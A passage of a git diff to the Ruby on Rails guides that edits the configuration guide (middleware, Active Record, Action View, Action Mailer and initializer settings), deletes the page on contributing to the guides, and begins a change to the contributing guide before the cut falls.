use. Defaults to +false+ and will use Active Record by default. +* +performance_tool+ defines which performance tool to use. Defaults to +nil+. * +resource_controller+ defines which generator to use for generating a controller when using +rails generate resource+. Defaults to +:controller+. * +scaffold_controller+ different from +resource_controller+, defines which generator to use for generating a _scaffolded_ controller when using +rails generate scaffold+. Defaults to +:scaffold_controller+. -* +stylesheets+ turns on the hook for stylesheets in generators. Used in Rails for when the +scaffold+ generator is ran, but this hook can be used in other generates as well. -* +test_framework+ defines which test framework to use. Defaults to _nil_, so will use Test::Unit by default. +* +stylesheets+ turns on the hook for stylesheets in generators. Used in Rails for when the +scaffold+ generator is ran, but this hook can be used in other generates as well. Defaults to +true+. +* +stylesheet_engine+ configures the stylesheet engine (for eg. sass) to be used when generating assets. Defaults to +:css+. +* +test_framework+ defines which test framework to use. Defaults to +false+ and will use Test::Unit by default. * +template_engine+ defines which template engine to use, such as ERB or Haml. Defaults to +:erb+. h4. Configuring Middleware Every Rails application comes with a standard set of middleware which it uses in this order in the development environment: -* +Rack::SSL+ Will force every request to be under HTTPS protocol. Will be available if +config.force_ssl+ is set to _true_. -* +ActionDispatch::Static+ is used to serve static assets. Disabled if +config.serve_static_assets+ is _true_. -* +Rack::Lock+ Will wrap the app in mutex so it can only be called by a single thread at a time. Only enabled if +config.action_controller.allow_concurrency+ is set to _false_, which it is by default. -* +ActiveSupport::Cache::Strategy::LocalCache+ Serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread. -* +Rack::Runtime+ Sets an +X-Runtime+ header, containing the time (in seconds) taken to execute the request. -* +Rails::Rack::Logger+ Will notify the logs that the request has began. After request is complete, flushes all the logs. -* +ActionDispatch::ShowExceptions+ rescues any exception returned by the application and renders nice exception pages if the request is local or if +config.consider_all_requests_local+ is set to _true_. If +config.action_dispatch.show_exceptions+ is set to _false_, exceptions will be raised regardless. +* +Rack::SSL+ forces every request to be under HTTPS protocol. Will be available if +config.force_ssl+ is set to +true+. Options passed to this can be configured by using +config.ssl_options+. +* +ActionDispatch::Static+ is used to serve static assets. Disabled if +config.serve_static_assets+ is +true+. +* +Rack::Lock+ wraps the app in mutex so it can only be called by a single thread at a time. Only enabled if +config.action_controller.allow_concurrency+ is set to +false+, which it is by default. +* +ActiveSupport::Cache::Strategy::LocalCache+ serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread. +* +Rack::Runtime+ sets an +X-Runtime+ header, containing the time (in seconds) taken to execute the request. +* +Rails::Rack::Logger+ notifies the logs that the request has began. After request is complete, flushes all the logs. +* +ActionDispatch::ShowExceptions+ rescues any exception returned by the application and renders nice exception pages if the request is local or if +config.consider_all_requests_local+ is set to +true+. If +config.action_dispatch.show_exceptions+ is set to +false+, exceptions will be raised regardless. * +ActionDispatch::RemoteIp+ checks for IP spoofing attacks. Configurable with the +config.action_dispatch.ip_spoofing_check+ and +config.action_dispatch.trusted_proxies+ settings. -* +Rack::Sendfile+ The Sendfile middleware intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with +config.action_dispatch.x_sendfile_header+ -* +ActionDispatch::Callbacks+ Runs the prepare callbacks before serving the request. -* +ActiveRecord::ConnectionAdapters::ConnectionManagement+ cleans active connections after each request, unless the +rack.test+ key in the request environment is set to _true_. -* +ActiveRecord::QueryCache+ caches all +SELECT+ queries generated in a request. If an +INSERT+ or +UPDATE+ takes place then the cache is cleaned. +* +Rack::Sendfile+ intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with +config.action_dispatch.x_sendfile_header+. +* +ActionDispatch::Callbacks+ runs the prepare callbacks before serving the request. +* +ActiveRecord::ConnectionAdapters::ConnectionManagement+ cleans active connections after each request, unless the +rack.test+ key in the request environment is set to +true+. +* +ActiveRecord::QueryCache+ caches all SELECT queries generated in a request. If any INSERT or UPDATE takes place then the cache is cleaned. * +ActionDispatch::Cookies+ sets cookies for the request. * +ActionDispatch::Session::CookieStore+ is responsible for storing the session in cookies. An alternate middleware can be used for this by changing the +config.action_controller.session_store+ to an alternate value. Additionally, options passed to this can be configured by using +config.action_controller.session_options+. * +ActionDispatch::Flash+ sets up the +flash+ keys. Only available if +config.action_controller.session_store+ is set to a value. -* +ActionDispatch::ParamsParser+ parses out parameters from the request into +params+ +* +ActionDispatch::ParamsParser+ parses out parameters from the request into +params+. * +Rack::MethodOverride+ allows the method to be overridden if +params[:_method]+ is set. This is the middleware which supports the PUT and DELETE HTTP method types. * +ActionDispatch::Head+ converts HEAD requests to GET requests and serves them as so. * +ActionDispatch::BestStandardsSupport+ enables "best standards support" so that IE8 renders some elements correctly. @@ -167,44 +202,44 @@ Every Rails application comes with a standard set of middleware which it uses in Besides these usual middleware, you can add your own by using the +config.middleware.use+ method: <ruby> - config.middleware.use Magical::Unicorns +config.middleware.use Magical::Unicorns </ruby> -This will put the +Magical::Unicorns+ middleware on the end of the stack. If you wish to put this middleware before another use +insert_before+: +This will put the +Magical::Unicorns+ middleware on the end of the stack. You can use +insert_before+ if you wish to add a middleware before another. <ruby> - config.middleware.insert_before ActionDispatch::Head, Magical::Unicorns +config.middleware.insert_before ActionDispatch::Head, Magical::Unicorns </ruby> -There's also +insert_after+ which will insert a middleware _after_ another: +There's also +insert_after+ which will insert a middleware after another: <ruby> - config.middleware.insert_after ActionDispatch::Head, Magical::Unicorns +config.middleware.insert_after ActionDispatch::Head, Magical::Unicorns </ruby> Middlewares can also be completely swapped out and replaced with others: <ruby> - config.middleware.swap ActionDispatch::BestStandardsSupport, Magical::Unicorns +config.middleware.swap ActionDispatch::BestStandardsSupport, Magical::Unicorns </ruby> They can also be removed from the stack completely: <ruby> - config.middleware.delete ActionDispatch::BestStandardsSupport +config.middleware.delete ActionDispatch::BestStandardsSupport </ruby> h4. Configuring i18n * +config.i18n.default_locale+ sets the default locale of an application used for i18n. Defaults to +:en+. -* +config.i18n.load_path+ sets the path Rails uses to look for locale files. Defaults to +config/locales/*.{yml,rb}+ +* +config.i18n.load_path+ sets the path Rails uses to look for locale files. Defaults to +config/locales/*.{yml,rb}+. h4. Configuring Active Record <tt>config.active_record</tt> includes a variety of configuration options: -* +config.active_record.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8.x Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling +logger+ on either an Active Record model class or an Active Record model instance. Set to nil to disable logging. +* +config.active_record.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling +logger+ on either an Active Record model class or an Active Record model instance. Set to +nil+ to disable logging. * +config.active_record.primary_key_prefix_type+ lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named +id+ (and this configuration option doesn't need to be set.) There are two other choices: ** +:table_name+ would make the primary key for the Customer class +customerid+ @@ -214,21 +249,21 @@ h4. Configuring Active Record * +config.active_record.table_name_suffix+ lets you set a global string to be appended to table names. If you set this to +_northwest+, then the Customer class will look for +customers_northwest+ as its table. The default is an empty string. -* +config.active_record.pluralize_table_names+ specifies whether Rails will look for singular or plural table names in the database. If set to +true+ (the default), then the Customer class will use the +customers+ table. If set to +false+, then the Customers class will use the +customer+ table. +* +config.active_record.pluralize_table_names+ specifies whether Rails will look for singular or plural table names in the database. If set to true (the default), then the Customer class will use the +customers+ table. If set to false, then the Customer class will use the +customer+ table. -* +config.active_record.default_timezone+ determines whether to use +Time.local+ (if set to +:local+) or +Time.utc+ (if set to +:utc+) when pulling dates and times from the database. The default is +:utc+ for Rails, although ActiveRecord defaults to +:local+ when used outside of Rails. +* +config.active_record.default_timezone+ determines whether to use +Time.local+ (if set to +:local+) or +Time.utc+ (if set to +:utc+) when pulling dates and times from the database. The default is +:utc+ for Rails, although Active Record defaults to +:local+ when used outside of Rails. * +config.active_record.schema_format+ controls the format for dumping the database schema to a file. The options are +:ruby+ (the default) for a database-independent version that depends on migrations, or +:sql+ for a set of (potentially database-dependent) SQL statements. -* +config.active_record.timestamped_migrations+ controls whether migrations are numbered with serial integers or with timestamps. The default is +true+, to use timestamps, which are preferred if there are multiple developers working on the same application. +* +config.active_record.timestamped_migrations+ controls whether migrations are numbered with serial integers or with timestamps. The default is true, to use timestamps, which are preferred if there are multiple developers working on the same application. -* +config.active_record.lock_optimistically+ controls whether ActiveRecord will use optimistic locking. By default this is +true+. +* +config.active_record.lock_optimistically+ controls whether Active Record will use optimistic locking and is true by default. * +config.active_record.whitelist_attributes+ will create an empty whitelist of attributes available for mass-assignment security for all models in your app. The MySQL adapter adds one additional configuration option: -* +ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans+ controls whether ActiveRecord will consider all +tinyint(1)+ columns in a MySQL database to be booleans. By default this is +true+. +* +ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans+ controls whether Active Record will consider all +tinyint(1)+ columns in a MySQL database to be booleans and is true by default. The schema dumper adds one additional configuration option: @@ -244,17 +279,17 @@ h4. Configuring Action Controller * +config.action_controller.page_cache_directory+ should be the document root for the web server and is set using <tt>Base.page_cache_directory = "/document/root"</tt>. For Rails, this directory has already been set to +Rails.public_path+ (which is usually set to <tt>Rails.root + "/public"</tt>). Changing this setting can be useful to avoid naming conflicts with files in <tt>public/</tt>, but doing so will likely require configuring your web server to look in the new location for cached files. -* +config.action_controller.page_cache_extension+ configures the extension used for cached pages saved to +page_cache_directory+. Defaults to +.html+ +* +config.action_controller.page_cache_extension+ configures the extension used for cached pages saved to +page_cache_directory+. Defaults to +.html+. -* +config.action_controller.perform_caching+ configures whether the application should perform caching or not. Set to _false_ in development mode, _true_ in production. +* +config.action_controller.perform_caching+ configures whether the application should perform caching or not. Set to false in development mode, true in production. * +config.action_controller.default_charset+ specifies the default character set for all renders. The default is "utf-8". -* +config.action_controller.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Controller. Set to nil to disable logging. +* +config.action_controller.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Controller. Set to +nil+ to disable logging. * +config.action_controller.request_forgery_protection_token+ sets the token parameter name for RequestForgery. Calling +protect_from_forgery+ sets it to +:authenticity_token+ by default. -* +config.action_controller.allow_forgery_protection+ enables or disables CSRF protection. By default this is +false+ in test mode and +true+ in all other modes. +* +config.action_controller.allow_forgery_protection+ enables or disables CSRF protection. By default this is false in test mode and true in all other modes. * +config.action_controller.relative_url_root+ can be used to tell Rails that you are deploying to a subdirectory. The default is +ENV['RAILS_RELATIVE_URL_ROOT']+. @@ -288,45 +323,49 @@ h4. Configuring Action View There are only a few configuration options for Action View, starting with four on +ActionView::Base+: -* +config.action_view.field_error_proc+ provides an HTML generator for displaying errors that come from Active Record. The default is <tt>Proc.new{ |html_tag, instance| %Q(%<div class="field_with_errors">#{html_tag}</div>).html_safe }</tt> +* +config.action_view.field_error_proc+ provides an HTML generator for displaying errors that come from Active Record. The default is + +<ruby> +Proc.new { |html_tag, instance| %Q(<div class="field_with_errors">#{html_tag}</div>).html_safe } +</ruby> * +config.action_view.default_form_builder+ tells Rails which form builder to use by default. The default is +ActionView::Helpers::FormBuilder+. -* +config.action_view.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging. +* +config.action_view.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to +nil+ to disable logging. * +config.action_view.erb_trim_mode+ gives the trim mode to be used by ERB. It defaults to +'-'+. See the "ERB documentation":http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/ for more information. * +config.action_view.javascript_expansions+ is a hash containing expansions that can be used for the JavaScript include tag. By default, this is defined as: <ruby> - config.action_view.javascript_expansions = { :defaults => ['prototype', 'effects', 'dragdrop', 'controls', 'rails'] } +config.action_view.javascript_expansions = { :defaults => %w(jquery jquery_ujs) } </ruby> However, you may add to this by defining others: <ruby> - config.action_view.javascript_expansions[:jquery] = ["jquery", "jquery-ui"] +config.action_view.javascript_expansions[:prototype] = ['prototype', 'effects', 'dragdrop', 'controls'] </ruby> And can reference in the view with the following code: <ruby> - <%= javascript_include_tag :jquery %> +<%= javascript_include_tag :prototype %> </ruby> * +config.action_view.stylesheet_expansions+ works in much the same way as +javascript_expansions+, but has no default key. Keys defined for this hash can be referenced in the view like such: <ruby> - <%= stylesheet_link_tag :special %> +<%= stylesheet_link_tag :special %> </ruby> -* +ActionView::Helpers::AssetTagHelper::AssetPaths.cache_asset_ids+ With the cache enabled, the asset tag helper methods will make fewer expensive file system calls (the default implementation checks the file system timestamp). However this prevents you from modifying any asset files while the server is running. +* +config.action_view.cache_asset_ids+ With the cache enabled, the asset tag helper methods will make fewer expensive file system calls (the default implementation checks the file system timestamp). However this prevents you from modifying any asset files while the server is running. h4. Configuring Action Mailer There are a number of settings available on +config.action_mailer+: -* +config.action_mailer.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging. +* +config.action_mailer.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to +nil+ to disable logging. * +config.action_mailer.smtp_settings+ allows detailed configuration for the +:smtp+ delivery method. It accepts a hash of options, which can include any of these options: ** +:address+ - Allows you to use a remote mail server. Just change it from its default "localhost" setting. @@ -340,25 +379,35 @@ There are a number of settings available on +config.action_mailer+: ** +:location+ - The location of the sendmail executable. Defaults to +/usr/sbin/sendmail+. ** +:arguments+ - The command line arguments. Defaults to +-i -t+. -* +config.action_mailer.raise_delivery_errors+ specifies whether to raise an error if email delivery cannot be completed. It defaults to +true+. +* +config.action_mailer.raise_delivery_errors+ specifies whether to raise an error if email delivery cannot be completed. It defaults to true. * +config.action_mailer.delivery_method+ defines the delivery method. The allowed values are +:smtp+ (default), +:sendmail+, and +:test+. -* +config.action_mailer.perform_deliveries+ specifies whether mail will actually be delivered. By default this is +true+; it can be convenient to set it to +false+ for testing. +* +config.action_mailer.perform_deliveries+ specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to false for testing. * +config.action_mailer.default+ configures Action Mailer defaults. These default to: <ruby> - :mime_version => "1.0", - :charset => "UTF-8", - :content_type => "text/plain", - :parts_order => [ "text/plain", "text/enriched", "text/html" ] +:mime_version => "1.0", +:charset => "UTF-8", +:content_type => "text/plain", +:parts_order => [ "text/plain", "text/enriched", "text/html" ] +</ruby> + +* +config.action_mailer.observers+ registers observers which will be notified when mail is delivered. +<ruby> +config.action_mailer.observers = ["MailObserver"] +</ruby> + +* +config.action_mailer.interceptors+ registers interceptors which will be called before mail is sent. +<ruby> +config.action_mailer.interceptors = ["MailInterceptor"] </ruby> h4. Configuring Active Resource There is a single configuration setting available on +config.active_resource+: -* +config.active_resource.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Active Resource. Set to nil to disable logging. +* +config.active_resource.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Active Resource. Set to +nil+ to disable logging. h4. Configuring Active Support @@ -398,7 +447,7 @@ Some parts of Rails can also be configured externally by supplying environment v h3. Using Initializer Files -After loading the framework and any gems and plugins in your application, Rails turns to loading initializers. An initializer is any file of Ruby code stored under +config/initializers+ in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks, plugins and gems are loaded, such as options to configure settings for these parts. +After loading the framework and any gems and plugins in your application, Rails turns to loading initializers. An initializer is any Ruby file stored under +config/initializers+ in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks, plugins and gems are loaded, such as options to configure settings for these parts. NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the initializers folder on down. @@ -406,18 +455,37 @@ TIP: If you have any ordering dependency in your initializers, you can control t h3. Initialization events -Rails has 5 initialization events which can be hooked into (listed in order that they are ran): +Rails has 5 initialization events which can be hooked into (listed in the order that they are ran): * +before_configuration+: This is run as soon as the application constant inherits from +Rails::Application+. The +config+ calls are evaluated before this happens. * +before_initialize+: This is run directly before the initialization process of the application occurs with the +:bootstrap_hook+ initializer near the beginning of the Rails initialization process. -* +to_prepare+: Run after the initializers are ran for all Railties (including the application itself), but before eager loading and the middleware stack is built. +* +to_prepare+: Run after the initializers are ran for all Railties (including the application itself), but before eager loading and the middleware stack is built. More importantly, will run upon every request in +development+, but only once (during boot-up) in +production+ and +test+. -* +before_eager_load+: This is run directly before eager loading occurs, which is the default behaviour for the _production_ environment and not for the +development+ enviroment. +* +before_eager_load+: This is run directly before eager loading occurs, which is the default behaviour for the _production_ environment and not for the +development+ environment. * +after_initialize+: Run directly after the initialization of the application, but before the application initializers are run. +To define an event for these hooks, use the block syntax within a +Rails::Aplication+, +Rails::Railtie+ or +Rails::Engine+ subclass: + +<ruby> +module YourApp + class Application < Rails::Application + config.before_initialize do + # initialization code goes here + end + end +end +</ruby> + +Alternatively, you can also do it through the +config+ method on the +Rails.application+ object: + +<ruby> +Rails.application.config.before_initialize do + # initialization code goes here +end +</ruby> WARNING: Some parts of your application, notably observers and routing, are not yet set up at the point where the +after_initialize+ block is called. @@ -437,7 +505,7 @@ Initializers defined using the +initializer+ method will be ran in the order the WARNING: You may put your initializer before or after any other initializer in the chain, as long as it is logical. Say you have 4 initializers called "one" through "four" (defined in that order) and you define "four" to go _before_ "four" but _after_ "three", that just isn't logical and Rails will not be able to determine your initializer order. -The block's argument of the +initialize+ is the instance of the application itself, and so we can access the configuration on it by using the +config+ method as this initializer does. +The block argument of the +initializer+ method is the instance of the application itself, and so we can access the configuration on it by using the +config+ method as done in the example. Because +Rails::Application+ inherits from +Rails::Railtie+ (indirectly), you can use the +initializer+ method in +config/application.rb+ to define initializers for the application. @@ -450,21 +518,21 @@ Serves as a placeholder so that +:load_environment_config+ can be defined to run *+load_active_support+* Requires +active_support/dependencies+ which sets up the basis for Active Support. Optionally requires +active_support/all+ if +config.active_support.bare+ is un-truthful, which is the default. -*+preload_frameworks+* Will load all autoload dependencies of Rails automatically if +config.preload_frameworks+ is +true+ or "truthful". By default this configuration option is disabled. In Rails, when internal classes are referenced for the first time they are autoloaded. +:preload_frameworks+ loads all of this at once on initialization. +*+preload_frameworks+* Loads all autoload dependencies of Rails automatically if +config.preload_frameworks+ is +true+ or "truthful". By default this configuration option is disabled. In Rails, when internal classes are referenced for the first time they are autoloaded. +:preload_frameworks+ loads all of this at once on initialization. -*+initialize_logger+* Initializes the logger (an +ActiveSupport::BufferedLogger+ object) for the application and makes it accessible at +Rails.logger+, providing that there's no initializer inserted before this point that has defined +Rails.logger+. +*+initialize_logger+* Initializes the logger (an +ActiveSupport::BufferedLogger+ object) for the application and makes it accessible at +Rails.logger+, provided that no initializer inserted before this point has defined +Rails.logger+. -*+initialize_cache+* If +RAILS_CACHE+ isn't yet set, initializes the cache by referencing the value in +config.cache_store+ and stores the outcome as +RAILS_CACHE+. If this object responds to the +middleware+ method, its middleware is inserted before +Rack::Runtime+ in the middleware stack. +*+initialize_cache+* If +RAILS_CACHE+ isn't set yet, initializes the cache by referencing the value in +config.cache_store+ and stores the outcome as +RAILS_CACHE+. If this object responds to the +middleware+ method, its middleware is inserted before +Rack::Runtime+ in the middleware stack. *+set_clear_dependencies_hook+* Provides a hook for +active_record.set_dispatch_hooks+ to use, which will run before this initializer. This initializer -- which runs only if +cache_classes+ is set to +false+ -- uses +ActionDispatch::Callbacks.after+ to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request. -*+initialize_dependency_mechanism+* If +config.cache_classes+ is set to +true+, configures +ActiveSupport::Dependencies.mechanism+ to +require+ dependencies rather than +load+ them. +*+initialize_dependency_mechanism+* If +config.cache_classes+ is true, configures +ActiveSupport::Dependencies.mechanism+ to +require+ dependencies rather than +load+ them. *+bootstrap_hook+* Runs all configured +before_initialize+ blocks. *+i18n.callbacks+* In the development environment, sets up a +to_prepare+ callback which will call +I18n.reload!+ if any of the locales have changed since the last request. In production mode this callback will only run on the first request. -*+active_support.initialize_whiny_nils+* Will require +active_support/whiny_nil+ if +config.whiny_nils+ is set to +true+. This file will output errors such as: +*+active_support.initialize_whiny_nils+* Requires +active_support/whiny_nil+ if +config.whiny_nils+ is true. This file will output errors such as: <plain> Called id for nil, which would mistakenly be 4 -- if you really wanted the id of nil, use object_id @@ -480,19 +548,19 @@ The error occurred while evaluating nil.each *+active_support.deprecation_behavior+* Sets up deprecation reporting for environments, defaulting to +:log+ for development, +:notify+ for production and +:stderr+ for test. If a value isn't set for +config.active_support.deprecation+ then this initializer will prompt the user to configure this line in the current environment's +config/environments+ file. Can be set to an array of values. -*+active_support.initialize_time_zone+* Sets the default time zone for the application based off the +config.time_zone+ setting, which defaults to "UTC". +*+active_support.initialize_time_zone+* Sets the default time zone for the application based on the +config.time_zone+ setting, which defaults to "UTC". *+action_dispatch.configure+* Configures the +ActionDispatch::Http::URL.tld_length+ to be set to the value of +config.action_dispatch.tld_length+. -*+action_view.cache_asset_ids+* Will set +ActionView::Helpers::AssetTagHelper::AssetPaths.cache_asset_ids+ to +false+ when Active Support loads, but only if +config.cache_classes+ is too. +*+action_view.cache_asset_ids+* Sets +ActionView::Helpers::AssetTagHelper::AssetPaths.cache_asset_ids+ to +false+ when Active Support loads, but only if +config.cache_classes+ is too. -*+action_view.javascript_expansions+* Registers the expansions set up by +config.action_view.javascript_expansions+ and +config.action_view.stylesheet_expansions+ to be recognised by Action View and therefore usable in the views. +*+action_view.javascript_expansions+* Registers the expansions set up by +config.action_view.javascript_expansions+ and +config.action_view.stylesheet_expansions+ to be recognized by Action View and therefore usable in the views. *+action_view.set_configs+* Sets up Action View by using the settings in +config.action_view+ by +send+'ing the method names as setters to +ActionView::Base+ and passing the values through. -*+action_controller.logger+* Sets +ActionController::Base.logger+ -- if it's not already set -- to +Rails.logger+. +*+action_controller.logger+* Sets +ActionController::Base.logger+ -- if it's not already set -- to +Rails.logger+. -*+action_controller.initialize_framework_caches+* Sets +ActionController::Base.cache_store+ -- if it's not already set -- to +RAILS_CACHE+. +*+action_controller.initialize_framework_caches+* Sets +ActionController::Base.cache_store+ -- if it's not already set -- to +RAILS_CACHE+. *+action_controller.set_configs+* Sets up Action Controller by using the settings in +config.action_controller+ by +send+'ing the method names as setters to +ActionController::Base+ and passing the values through. @@ -506,9 +574,9 @@ The error occurred while evaluating nil.each *+active_record.initialize_database+* Loads the database configuration (by default) from +config/database.yml+ and establishes a connection for the current environment. -*+active_record.log_runtime+* Includes +ActiveRecord::Railties::ControllerRuntime+ which is responsible for reporting the length of time Active Record calls took for the request back to the logger. +*+active_record.log_runtime+* Includes +ActiveRecord::Railties::ControllerRuntime+ which is responsible for reporting the time taken by Active Record calls for the request back to the logger. -*+active_record.set_dispatch_hooks+* If +config.cache_classes+ is set to false, all reloadable connections to the database will be reset. +*+active_record.set_dispatch_hooks+* Resets all reloadable connections to the database if +config.cache_classes+ is set to +false+. *+action_mailer.logger+* Sets +ActionMailer::Base.logger+ -- if it's not already set -- to +Rails.logger+. @@ -520,7 +588,7 @@ The error occurred while evaluating nil.each *+set_load_path+* This initializer runs before +bootstrap_hook+. Adds the +vendor+, +lib+, all directories of +app+ and any paths specified by +config.load_paths+ to +$LOAD_PATH+. -*+set_autoload_path+* This initializer runs before +bootstrap_hook+. Adds all sub-directories of +app+ and paths specified by +config.autoload_paths+ to +ActiveSupport::Dependencies.autoload_paths+. +*+set_autoload_paths+* This initializer runs before +bootstrap_hook+. Adds all sub-directories of +app+ and paths specified by +config.autoload_paths+ to +ActiveSupport::Dependencies.autoload_paths+. *+add_routing_paths+* Loads (by default) all +config/routes.rb+ files (in the application and railties, including engines) and sets up the routes for the application. @@ -536,10 +604,6 @@ The error occurred while evaluating nil.each *+load_config_initializers+* Loads all Ruby files from +config/initializers+ in the application, railties and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks and plugins are loaded. -NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the +initializers+ folder on down. - -TIP: If you have any ordering dependency in your initializers, you can control the load order by naming. For example, +01_critical.rb+ will be loaded before +02_normal.rb+. - *+engines_blank_point+* Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are ran. *+add_generator_templates+* Finds templates for generators at +lib/templates+ for the application, railities and engines and adds these to the +config.generators.templates+ setting, which will make the templates available for all generators to reference. @@ -552,18 +616,10 @@ TIP: If you have any ordering dependency in your initializers, you can control t *+build_middleware_stack+* Builds the middleware stack for the application, returning an object which has a +call+ method which takes a Rack environment object for the request. -*+eager_load!+* If +config.cache_classes+ is +true+, runs the +config.before_eager_load+ hooks and then calls +eager_load!+ which will load all the Ruby files from +config.eager_load_paths+. +*+eager_load!+* If +config.cache_classes+ is true, runs the +config.before_eager_load+ hooks and then calls +eager_load!+ which will load all the Ruby files from +config.eager_load_paths+. *+finisher_hook+* Provides a hook for after the initialization of process of the application is complete, as well as running all the +config.after_initialize+ blocks for the application, railties and engines. *+set_routes_reloader+* Configures Action Dispatch to reload the routes file using +ActionDispatch::Callbacks.to_prepare+. -*+disable_dependency_loading+* Disables the automatic dependency loading if the +config.cache_classes+ is set to +true+ and +config.dependency_loading+ is set to +false+. - -h3. Changelog - -* December 3, 2010: Added initialization events for Rails 3 ("Ryan Bigg":http://ryanbigg.com) -* November 26, 2010: Removed all config settings not available in Rails 3 ("Ryan Bigg":http://ryanbigg.com) -* August 13, 2009: Updated with config syntax and added general configuration options by "John Pignata" -* January 3, 2009: First reasonably complete draft by "Mike Gunderloy":credits.html#mgunderloy -* November 5, 2008: Rough outline by "Mike Gunderloy":credits.html#mgunderloy +*+disable_dependency_loading+* Disables the automatic dependency loading if the +config.cache_classes+ is set to true and +config.dependency_loading+ is set to false. diff --git a/railties/guides/source/contribute.textile b/railties/guides/source/contribute.textile deleted file mode 100644 index 4bd527d4c7..0000000000 --- a/railties/guides/source/contribute.textile +++ /dev/null @@ -1,70 +0,0 @@ -h2. Contribute to the Rails Guides - -Rails Guides aim to improve the Rails documentation and to make the barrier to entry as low as possible. A reasonably experienced developer should be able to use the guides to come up to speed on Rails quickly. Our sponsors have contributed prizes for those who write an entire guide, but there are many other ways to contribute. - -endprologue. - -h3. How to Contribute? - -* We have an open commit policy: anyone is welcome to contribute and to review contributions. -* "docrails is hosted on GitHub":https://github.com/lifo/docrails and has public write access. -* Guides are written in Textile, and reside at +railties/guides/source+ in the docrails project. -* Follow the "Rails Guides Conventions":https://wiki.github.com/lifo/docrails/rails-guides-conventions. -* Assets are stored in the +railties/guides/assets+ directory. -* Sample format : "Active Record Associations":https://github.com/lifo/docrails/blob/3e56a3832415476fdd1cb963980d0ae390ac1ed3/railties/guides/source/association_basics.textile. -* Sample output : "Active Record Associations":association_basics.html. -* You can build the Guides during testing by running +bundle exec rake generate_guides+ in the +railties+ directory. -* You're encouraged to validate XHTML for the generated guides before commiting your changes by running +bundle exec rake validate_guides+ in the +railties+ directory. -* Edge guides "can be consulted online":http://edgeguides.rubyonrails.org/. That website is generated periodically from docrails. - -h3. What to Contribute? - -* We need authors, editors, proofreaders, and translators. Adding a single paragraph of quality content to a guide is a good way to get started. -* The easiest way to start is by improving an existing guide: -** Improve the structure to make it more coherent. -** Add missing information. -** Correct any factual errors. -** Fix typos or improve style. -** Bring it up to date with the latest Edge Rails. -* We're also open to suggestions for entire new guides: -** Contact lifo or fxn to get your idea approved. See the Contact section below. -** If you're the main author on a significant guide, you're eligible for the prizes. - -h3. How is the process? - -* The preferred way to contribute is to commit to docrails directly. -* A new guide is only edited by its author until finished though. In that case feedback can be given in its LH ticket. -* If you are writing a new guide freely commit to docrails partial work and ping lifo or fxn when done with a first draft. -* Guides reviewers will then provide feedback, some of it possibly in form of direct commits to agilize the process. -* Eventually the guide will be approved and added to the index. - -h3. Prizes - -For each completed guide, the lead contributor will receive all of the following prizes: - -* $200 from Caboose Rails Documentation Project. -* 1 year of GitHub Micro account worth $84. -* 1 year of RPM Basic (Production performance management) for up to 10 hosts worth 12 months x $40 per host x 10 hosts = $4800. And also, savings of $45 per host per month over list price to upgrade to advanced product. - -h3. Rules - -* Guides are licensed under a Creative Commons Attribution-Share Alike 3.0 License. -* If you're not sure whether a guide is actively being worked on, stop by IRC and ask. -* If the same guide writer wants to write multiple guides, that's ideally the situation we'd love to be in! However, that guide writer will only receive the cash prize for all the subsequent guides (and not the GitHub or RPM prizes). -* Our review team will have the final say on whether the guide is complete and of good enough quality. - -All authors should read and follow the "Rails Guides Conventions":https://wiki.github.com/lifo/docrails/rails-guides-conventions and the "Rails API Documentation Conventions":https://wiki.github.com/lifo/docrails/rails-api-documentation-conventions. - -h3. Translations - -The translation effort for the Rails Guides is just getting underway. We know about projects to translate the Guides into Spanish, Portuguese, Polish, and French. For more details or to get involved see the "Translating Rails Guides":https://wiki.github.com/lifo/docrails/translating-rails-guides page. - -h3. Mailing List - -"Ruby on Rails: Documentation":http://groups.google.com/group/rubyonrails-docs is the mailing list for all the guides/documentation related discussions. - -h3. Contact - -* IRC : #docrails channel in irc.freenode.net -* Twitter: "@docrails":http://twitter.com/docrails, "@lifo":http://twitter.com/lifo, "@fxn":http://twitter.com/fxn -* Email : pratiknaik aT gmail, fxn aT hashref dot com diff --git a/railties/guides/source/contributing_to_ruby_on_rails.textile b/railties/guides/source/contributing_to_ruby_on_rails.textile index 5eb925d7d2..5848172510 100644 --- a/railties/guides/source/contributing_to_ruby_on_rails.textile +++ b/railties/guides/source/contributing_to_ruby_on_rails.textile @@ -24,7 +24,7 @@ If you've found a problem in Ruby on Rails which is not a security risk do a sea At the minimum, your issue report needs a title and descriptive text. But that's only a minimum. You should include as much relevant information as possible. You need to at least post the code sample that has the issue. Even better is to include a 